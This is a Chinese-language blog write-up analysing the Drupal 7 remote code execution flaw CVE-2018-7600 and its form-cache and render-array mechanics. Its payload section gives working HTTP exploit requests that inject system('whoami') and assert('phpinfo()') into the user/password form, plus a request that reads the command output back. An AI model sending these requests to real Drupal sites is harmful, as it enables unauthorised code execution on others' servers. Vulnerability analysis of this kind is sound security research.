0x00 Preface

前段时间看到柠檬师傅的drupal7 rce的文章,然后想起Ricter大佬好像也有篇类似的文章,然后仔细研究了一番~

0x01 Theory

漏洞造成的原理就是因为没有对用户传入的变量做限制和form_parent导致Drupal遍历到用户控制的#value

0x02 Triggering Vulnerability

file_ajax_upload

这里就是验证$form_build_id$_POST["form_build_id"]是否相等,如果相等就取出被缓存的$form,然后再将$form的值交给durpal_render($form)进行渲染。
从而成为漏洞的触发点了,也就是为什么后面我们要发第二次POST请求的原因。

form cache

这里只需要用户输入的_triggering_element_value$element['#name']相等,即可成功绕过,这就是后面为什么第一个POST请求中要将_triggering_element_name=name

Inject to form

既然漏洞触发点有了,那就应该去找在哪里注入payload了。
刚好user_pass函数中可以看到$_GET['name'],于是就可以从这里入手了。

Key Point to arbitrary RCE

在这种情况下

Ricter大佬直接用passthru函数执行命令,肯定是执行不了的。
柠檬师傅找了另外一个利用点#attached,一样还是执行不了在黑名单里面的函数。
所以这就延伸到了另一个问题~~
当~~~disable_functions里面命令函数全都禁用掉了之后,该怎么办呢~(挖坑)~

Payload

常规利用点

POST /drupal-7.57/?q=user/password&name[%23post_render][]=system&name[%23markup]=whoami&name[%23type]=markup HTTP/1.1

...

form_id=user_pass&_triggering_element_name=name

attached利用点

POST /drupal-7.57/?q=user/password&name[%23attached][assert][][]=phpinfo() HTTP/1.1

...

form_id=user_pass&_triggering_element_name=name

获取$form 缓存(查看命令执行结果)

POST /drupal-7.57/?q=file/ajax/name/%23value/form-xxx HTTP/1.1

...

form_build_id=form-xxx

0x03 Reference

Drupal 7 - CVE-2018-7600 PoC Writeup
drupal7 cve-2018-7600任意代码执行利用